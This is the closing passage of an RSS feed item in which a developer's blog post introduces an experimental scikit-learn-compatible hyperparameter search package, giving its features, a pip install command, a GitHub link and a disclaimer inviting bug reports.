&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cv_results_&lt;/code&gt; (per-fold score breakdown)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n_jobs&lt;/code&gt; parallel evaluation via joblib&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;verbose&lt;/code&gt; logging&lt;/li&gt;
&lt;li&gt;Full pytest test suite&lt;/li&gt;
&lt;li&gt;Scikit-learn &lt;code&gt;BaseEstimator&lt;/code&gt; compatibility&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Try It
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;elimination-search-cv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Requirements: Python ≥ 3.8. scikit-learn and numpy install automatically.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/thisal-d/elimination-search-cv" rel="noopener noreferrer"&gt;https://github.com/thisal-d/elimination-search-cv&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Honest Disclaimer
&lt;/h2&gt;

&lt;p&gt;This is an experimental approach. The quality of results depends heavily on the dataset and model. I'm actively benchmarking it and the results so far are promising — but I wouldn't call it production-ready yet.&lt;/p&gt;

&lt;p&gt;What I'd genuinely love is feedback on edge cases where it fails. If you try it on a grid where it gives clearly wrong results or behaves unexpectedly, please open an issue. That's more useful to me right now than praise.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you found this interesting, a ⭐ on the repo helps a lot — it keeps the motivation alive to keep building.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;python&lt;/code&gt; &lt;code&gt;machinelearning&lt;/code&gt; &lt;code&gt;datascience&lt;/code&gt; &lt;code&gt;opensource&lt;/code&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>machinelearning</category>
      <category>datascience</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
